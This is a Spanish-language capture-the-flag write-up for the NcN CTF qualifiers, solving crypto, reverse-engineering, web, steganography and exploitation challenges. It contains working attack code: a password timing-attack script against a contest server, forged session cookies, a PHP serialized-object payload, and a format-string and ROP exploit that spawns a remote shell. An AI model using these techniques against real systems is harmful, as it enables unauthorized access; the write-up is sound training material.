Un CTF entretenido, gracias a los organizadores :)

Este es un writeup de como creemos recordar haber pasado las pruebas, ya que no fuimos apuntando los flags ni algunos de los pasos que seguimos. Puede que no sea del todo verídico, y que la cerveza tenga algo que ver con ello.

cannaBINoid

El binario obtiene un descriptor de fichero a su propio bonario, mmapeando en memoria. Tras esto, hace la siguiente comprobación:

Es decir, comparar los 128 bytes de la entrada en stdin con los suyos. El flag es NcN_ + sha1(128 primeros bytes del binario):

NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd

inBINcible

Writeup en el blog de kenkeiras: http://codigoparallevar.com/blog/2014/writeup-de-inbincible-ncn-ctf-quals/

CRYPTonite

La pista es el nombre del archivo (spanish-book). Lo primero que piensa uno es en El Quijote. Viendo una versión online (http://www.elmundo.es/quijote/capitulo.html?cual=1), tiene una estructura similar, y se ve que es un simple cifrado de sustitución.


#!/usr/bin/python2
# -*- coding: iso-8859-15 -*-

conversion = {
    '_': 'E',
    'C': 'A',
    '!': 'O',
    'B': 'S',
    'I': 'N',
    ')': 'R',
    'L': 'L',
    'R': 'D',
    'U': 'I',
    'P': 'U',
    'M': 'T',
    'Q': 'C',
    'N': 'M',
    'A': ',',
    'G': 'Y',
    'F': 'H',
    ';': 'V',
    '-': 'G',
    'V': 'J',
    'S': '.',
    'Z': 'Z',
    'D': ';',
    'X': ':',
    'K': '[k]',
    'E': 'X',
    'H': ')',
    'Y': '(',
    ',': 'Q',
    '.': 'P',
    '?': 'F',
    ':': 'B',
    ' ': ' ',
    '\n': '\n',
    'O': '!',
    'J': '_'
}



fd = open("spanish-book.enc", "r")
text = fd.read()
fd.close()

decrypted = ''
for x in text:
    if x in conversion.keys():
        decrypted = decrypted + conversion[x]
    else:
        decrypted = decrypted + '[' + x + ']'

print decrypted

En medio del texto, se encuentra el flag:

NCN_DEADBEAFCAFEBADBABEFEEDDEFACEDBEDFADEDEC

imMISCible

Nos dan un script en python tal que:


#!/usr/bin/env python
# -*- coding: rot13 -*-
vzcbeg bf
vzcbeg znefuny
vzcbeg arj

tybony synt

qrs s():
    tybony synt
    synt = "Abcr!".qrpbqr("rot13")

olgrpbqr = """
LjNNNNNNNNNNNjNNNRNNNNOmyjNNNTDNNTDONTjNNT0ONSbONNSxNNOxNtOfNtOgNjOnNjNOMDZN
MNZNMNDNtjVNMNHNnjVNpcZNMNLNLDDNqNDNMNpNA2RRNUDRNTDVNQquONO0ONOxPDN3LDDNqNDN
ntHNMNbNMNDNtjVNLDDNqNDNntLNMNfNtjRNLDDNMNjNMDRNqNDNtjRNntpNtjNNS2RRNT4NNTDA
NSZbQtNNNTa/////XNRNNNOmONNNNUAbLGRbNDNNNUZTNNNNM2I0MJ52pjfNNNOBG19QG05sGxSA
EKZNNNNNpjRNNNOMpmRNNNNtAGptAwttAwRtAmDtZwNtAwxtAmZtZwNtAmDtAwttAwHtZwNtAwRt
AwxtAmVtZzDtpmRNNNNtAmZtAmNtAwHtAwHtAwDtZwNtAmLtAwHtAzZtAzLtAwZtAwxtAmDtAmxt
ZwNtAzLtpmRNNNNtAwLtZwNtAwRtAzHtZwNtAmHtAzHtAzZtAwRtAwDtAwHtAzHtZwNtAmZtAmpt
AwRtpkNNNNNtAzZtAzZtAzLtAmptZ2LtpjRNNNNtpjZNNNObMKumNjNNNR5QGx4bPNNNNUZUNNNN
nTSmnTkcLaZRNNNNp2uuZKZPNNNNo3AmOtNNNTqyqTIhqaZRNNNNMzkuM3ZUNNNNpzIjoTSwMKZT
NNNNMTIwo2EypjxNNNObMKuxnJqyp3DbNNNNNPtNNNNNXNNNNNOmPNNNNQkmqUWcozp+pjtNNNN8
oJ9xqJkyCtVNNNOmRtNNNONORNRINtLOPtRXNDbORtRCND==
"""

vs __anzr__ == "__znva__".qrpbqr("rot13"):
    pbqrbow = znefuny.ybnqf(olgrpbqr.qrpbqr("rot13"))
    s = arj.shapgvba(pbqrbow, tybonyf(), "s".qrpbqr("rot13"), Abar, Abar)

s()

cevag synt

Tras deshacer el rot13, quitar los decodes a strings, y hacer par de ajustes, queda:


import os
import marshal
import new
import base64
import dis

global flag

def f():
    global flag
    flag = "Nope!"

bytecode = """
YwAAAAAAAAAAAwAAAEAAAABzlwAAAGQAAGQBAGwAAG0BAFoBAAFkAABkAgBsAgBtAwBaAwABZQMA
ZAMAZAQAgwIAZAUAawIAcpMAZAYAYQQAdAQAZAcAN2EEAHQEAGQIADdhBAB0BABkCQA3YQQAdAQA
agUAZAoAZAQAgwIAYQQAdAQAagYAZAsAgwEAYQQAZAwAZQEAdAQAgwEAagcAgwAAF2EEAG4AAGQN
AFMoDgAAAGn/////KAEAAABzBAAAAHNoYTEoAQAAAHMGAAAAZ2V0ZW52cwsAAABOT19DT05fTkFN
RXMAAAAAcwEAAABZczEAAAAgNTcgNjggNjEgNzQgMjAgNjkgNzMgMjAgNzQgNjggNjUgMjAgNjEg
NjkgNzIgMmQgczEAAAAgNzMgNzAgNjUgNjUgNjQgMjAgNzYgNjUgNmMgNmYgNjMgNjkgNzQgNzkg
MjAgNmYgczEAAAAgNjYgMjAgNjEgNmUgMjAgNzUgNmUgNmMgNjEgNjQgNjUgNmUgMjAgNzMgNzcg
NjEgcxAAAAAgNmMgNmMgNmYgNzcgM2YgcwEAAAAgcwMAAABoZXhzAwAAAE5DTk4oCAAAAHMHAAAA
aGFzaGxpYnMEAAAAc2hhMXMCAAAAb3NzBgAAAGdldGVudnMEAAAAZmxhZ3MHAAAAcmVwbGFjZXMG
AAAAZGVjb2RlcwkAAABoZXhkaWdlc3QoAAAAACgAAAAAKAAAAABzCAAAADxzdHJpbmc+cwgAAAA8
bW9kdWxlPgIAAABzEgAAABABEAEVAgYBCgEKAQoBEgEPAQ==
"""

if __name__ == "__main__":
    bytecode = base64.b64decode(bytecode)
    codeobj = marshal.loads(bytecode)
    f = new.function(codeobj, globals(), "f", None, None)
    print dis.dis(f)
f()

print flag

Imprimiendo el desensamblado del bytecode:


  2           0 LOAD_CONST               0 (-1)
              3 LOAD_CONST               1 (('sha1',))
              6 IMPORT_NAME              0 (hashlib)
              9 IMPORT_FROM              1 (sha1)
             12 STORE_NAME               1 (sha1)
             15 POP_TOP

  3          16 LOAD_CONST               0 (-1)
             19 LOAD_CONST               2 (('getenv',))
             22 IMPORT_NAME              2 (os)
             25 IMPORT_FROM              3 (getenv)
             28 STORE_NAME               3 (getenv)
             31 POP_TOP

  4          32 LOAD_NAME                3 (getenv)
             35 LOAD_CONST               3 ('NO_CON_NAME')
             38 LOAD_CONST               4 ('')
             41 CALL_FUNCTION            2
             44 LOAD_CONST               5 ('Y')
             47 COMPARE_OP               2 (==)
             50 POP_JUMP_IF_FALSE      147

  6          53 LOAD_CONST               6 (' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d ')
             56 STORE_GLOBAL             4 (flag)

  7          59 LOAD_GLOBAL              4 (flag)
             62 LOAD_CONST               7 (' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f ')
             65 INPLACE_ADD
             66 STORE_GLOBAL             4 (flag)

  8          69 LOAD_GLOBAL              4 (flag)
             72 LOAD_CONST               8 (' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 ')
             75 INPLACE_ADD
             76 STORE_GLOBAL             4 (flag)

  9          79 LOAD_GLOBAL              4 (flag)
             82 LOAD_CONST               9 (' 6c 6c 6f 77 3f ')
             85 INPLACE_ADD
             86 STORE_GLOBAL             4 (flag)

 10          89 LOAD_GLOBAL              4 (flag)
             92 LOAD_ATTR                5 (replace)
             95 LOAD_CONST              10 (' ')
             98 LOAD_CONST               4 ('')
            101 CALL_FUNCTION            2
            104 STORE_GLOBAL             4 (flag)

 11         107 LOAD_GLOBAL              4 (flag)
            110 LOAD_ATTR                6 (decode)
            113 LOAD_CONST              11 ('hex')
            116 CALL_FUNCTION            1
            119 STORE_GLOBAL             4 (flag)

 12         122 LOAD_CONST              12 ('NCN')
            125 LOAD_NAME                1 (sha1)
            128 LOAD_GLOBAL              4 (flag)
            131 CALL_FUNCTION            1
            134 LOAD_ATTR                7 (hexdigest)
            137 CALL_FUNCTION            0
            140 BINARY_ADD
            141 STORE_GLOBAL             4 (flag)
            144 JUMP_FORWARD             0 (to 147)
        >>  147 LOAD_CONST              13 (None)
            150 RETURN_VALUE

Donde se ve que si existe la variable de entorno NO_CON_NAME con valor "Y", imprimirá el flag:

NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310

proMISCuous

A.K.A. Invalid key.

Sólo nos dan un servicio corriendo en un servidor. Tras mandarle python, picke, perl, php, brainfuck, la lista de passwords de google, y basura de lo más variada, nos percatamos / observamos de que una "t" provocaba una respuesta algo ´más lenta de lo usual. El script para realizar el timing attack es el siguiente:


#!/usr/bin/python2

import socket
import time
import string

HOST = '88.87.208.163'
PORT = 6969
N_TESTS = 3

#chars = string.printable.strip()
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

success = False
password = ''

connection = None

def connect():
    global connection
    print 'Reconnecting'
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((HOST, PORT))

def try_pass(password):
    #print 'Trying: ' + password
    if connection == None:
        connect()

    try:
        r, t = send_pass(password)
    except:
        print 'exception'
        connect()
        r, t = send_pass(password)

    #print 'Response:' + r
    if 'Invalid' in r or len(r.strip()) == 0:
        return False, t
    else:
        return True, t

def send_pass(password):
    t1 = time.time()
    connection.send(password + '\n')
    r = connection.recv(100)
    r = connection.recv(100)
    t2 = time.time()

    #print 'Ellapsed: ' + str(t2 - t1)
    return r, t2 - t1

while not success:
    all_times = {}
    for c in chars:
        tmp_pass = password + c
        times = []
        for _ in xrange(N_TESTS):
            success, test_time = try_pass(tmp_pass)
            if success:
                print 'DING DING DING: ' + tmp_pass
                exit(0)
            times.append(test_time)
        char_time = 0
        for ct in times:
            char_time = char_time + ct
        char_time = char_time / float(N_TESTS)
        all_times[c] = char_time

    max_time = 0.0
    max_char = ''
    for c, t in all_times.iteritems():
        if t > max_time:
            max_time = t
            max_char = c
    print 'Best one was ' + max_char + ' with ' + str(max_time)
    password = password + max_char
    print 'Current guess: ' + password

    success, derp = try_pass(password)

if success:
    print 'DING DING DING: ' + password
else:
    print 'No party :('

Y el flag era:

tIMeMaTTerS

Quite funny, huh?

WEBster

Cuando accedías a la web te daban un login, mirando el código fuente aparecía al final de todo esta línea comentada:


<!-- Testing code, remember to remove testing users -->

Lo que nos llevo a deducir que el usuario y contraseña eran test:test, una vez dentro aparecia el siguiente ‘cloud’:

Si tratabas de acceder al flag.txt el .htaccess no te dejaba. En las cookies había una cookie llamada ‘loc’ donde el md5 que había era la IP del usuario test.

Md5(10.128.29.136) -> c869d000ef5c6fdfa128b058d2865512

Asi que sustituomos el md5 de la IP del usuario test por la de 127.0.0.1, quedando así:

Cookie: valid_user=test; loc= f528764d624db129b32c21fbca0cb8d6;

Lo cual nos lanzo la siguiente flag:

NCN_f528764d624db129b32c21fbca0cb8d6

MakeMeFeelWet^hb

La pista era un comando de vim en el HTML. Se encontraba accesible uno de los archivos de recuperación que usa vim para uno de los archivos: .login.php.swp. Eso da algo como:


@$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie)))));
if (isset($_COOKIE['JSESSIONID'])) {
if ($username == "p00p" && $password == "l!k34b4u5") {
$this->p = $_passwd;
$this->u = $_uname;
public function __construct($_uname, $_passwd) {
public $p;
public $u;
class Creds {

Así que posiblemente mandando un objeto de clase Creds con las credenciales p00p:1!k34b4u5 en la cookie JSESSIONID nos diese el flag:


<?php
class Creds {
        public $p;
        public $u;

        public function __construct($_uname, $_passwd) {
            $this->p = $_passwd;
            $this->u = $_uname;
        }
}

$creds = new Creds("p00p", "l!k34b4u5");

echo base64_encode(bin2hex(serialize($creds)));
?>

Y en efecto, tras livehhttpheaderear esa cookie, el flag:

NcN_778064be6556e64577517875a8710b0abeba1578

STEGOsaurus

El reto inicia con un archivo mp3 y el contenido del mismo es el “manifiesto del hacker” al ver el archivo lo primero que he pensado es en el espectro ya que antes me ha tocado lidiar con imágenes ocultas en el espectro, inicialmente he analizado eso mismo en busca de alguna pista o si encontraba algo que me indicara que tenía alguna imagen oculta

Vemos algo extraño en el mismo, analizamos mejor el archivo y vemos una longitud de onda muy diferente a la normal

Visto eso lo primero que he pensado al verlo es que puede ser una frecuencia inaudible y que tocaba tratarla para poderla escuchar y obtener el mensaje, pero por más que trataba no escuchaba nada raro o algo que me indicara la existencia de un mensaje entendible, pero al seguir viendo el patrón de ese espectro pude notar que se repetía algunas secciones y que entre secciones había un espacio de “respeto”

Al jugar con el ecualizador y eliminar la voz, sonido ambiente obtenemos un espectro limpio listo para extraer el código morse.

Una vez ya con esos datos extraemos el flag en código morse:


-. -.-. -. ...-- -.-. -... ..-. -.. -.-. -.-. ---.. -.. --... .- ..--- ..... --... -.. ---.. ----- -.... ..--- ..... -.... ----- . ---.. ---.. -.. -.. --... -.. --... ..-. -.. -.... ..... -.. -.-. -.... ....- --... .-

Usando una de mis páginas favoritas para los cft (rumkin.com/tools/cipher/morse.php) obtenemos el flag:

ncn3cbfdcc8d7a257d8062560e88dd7d7fd65dc647a

EXPLicit

No llegamos a solucionar este reto durante el CTF. Después, @danigargu nos terminó el exploit.

El binario contenía dos vulnerabilidades: un format string con la cadena enviada por el usuario, y un stack buffer overflow.

Se nos presentaban al menos dos opciones:

- Leakear el canario y explotar el SBOF

- Explotar sólamente con el FMT

Y tomamos la última. Finalmente, el exploit quedó así:


#!/usr/bin/python2
# coding: utf-8

import struct
import time
import sys
import math
import socket

HOST = '127.0.0.1' #'88.87.208.163'
PORT = 7070

pop_eax = 0x80bee58
pop_ebx = 0x8048139
pop_esi = 0x80499f5
mov_ptr_edx_eax = 0x808a73d
xor_al_0x83 = 0x808e6ec
xor_eax_eax = 0x8055bc0
pop_esp = 0x80a8fa6
xchg_ecx_eax = 0x80d2fa1
xchg_edx_eax = 0x809df7c
int_80 = 0x8061240
inc_ecx = 0x80c7b1c

superpopesp = 0x80829de

sys_execve = 0x0b
sys_dup = 0x3f

def gen_rop(mystack):
    rop_chain = [

        # dup(4,0)
        pop_eax,
        sys_dup,
        pop_ebx,
        4,
        int_80,

        # dup(4,1)
        pop_eax,
        sys_dup,
        inc_ecx,
        int_80,

        # mystack[0] = "/bin"
        pop_eax,
        mystack,
        xchg_edx_eax,
        pop_eax,
        0x6e69622f, # /bin
        mov_ptr_edx_eax,

        # mystack[3] = "/sh\0"
        pop_eax,
        mystack + 4,
        xchg_edx_eax,
        pop_eax,
        0x0068732f, # /sh\x83
        mov_ptr_edx_eax,

        # ebx = & "/bin/sh\0"
        pop_ebx,
        mystack,

        # ecx = null
        pop_esi,
        0x80bf10c,
        xor_eax_eax, # sigue con una dereferencia a esi
        xchg_ecx_eax,

        # edx = null
        xor_eax_eax,
        xchg_edx_eax,

        # execve ("/bin/sh\0", null, null)
        pop_eax,
        sys_execve,
        int_80
    ]

    binbuff = ''
    for gadget in rop_chain:
        binbuff += struct.pack("<L", gadget)

    return binbuff

def gen_fmt(target, value, start, prewritten=0):
    v = []
    v.append ( value & 0x000000ff)
    v.append ((value & 0x0000ff00)>>8)
    v.append ((value & 0x00ff0000)>>16)
    v.append ((value & 0xff000000)>>24)

    values = ""
    format = ""
    written = prewritten + 4 * 4

    for i in range (0, 4):
        #values += "AAAA"
        values += struct.pack ("<L", target + i)
        n = v[i] - written
        while n <= 0:
            n += 0x100
        format += "%2$." + str (n) + "d"
        format += "%"+ str(start + i) +"$hhn"
        written += n
        print "written:", hex(written)

    return values, format, written

def connect():
    global connection
    print 'Connecting'
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((HOST, PORT))

def leak_bytes():
    errythin = connection.recv(1024)
    b = errythin[15:-18]
    return b

def interact(s):
    while True:
        try:
            sys.stdout.write("$ ")
            sys.stdout.flush()
            c = sys.stdin.readline()
            s.send(c)
            time.sleep(0.5)
            sys.stdout.write(s.recv(4096))
        except KeyboardInterrupt, e:
            print " exiting..."
            s.close()
            break

connection = None

if __name__ == '__main__':
    connect()
    leak_str = "%5$p\n"
    connection.recv(1024)
    connection.send(leak_str)
    someaddr = int(leak_bytes()[2:], 16)
    print hex(someaddr)
    someret = someaddr - 68


    FMT_LEN = 145 # Expected fmt length
    rop = gen_rop(someaddr + FMT_LEN)
    val, fmt, written = gen_fmt(someret, superpopesp, 6, 4 * 4)
    assert(written > 20)

    written -= 0x20 # Por alguna razón xD

    val2, fmt2, _ = gen_fmt(someret + 4, someaddr - 4 + FMT_LEN, 6 + 4, 4 * 4 + written)
    fmt = val + val2 + fmt + fmt2
    print "len(fmt):", len(fmt)
    assert(len(fmt) == FMT_LEN)
    print "len(rop):", len(rop)
    print "fmt:", someaddr, "-", someaddr + len(fmt)
    print "rop:", someaddr + FMT_LEN, "-", someaddr + FMT_LEN + len(rop)

    payload = fmt + rop

    connection.recv(1024)
    connection.send(payload + "\n")
        
    time.sleep(0.5)
    interact(connection)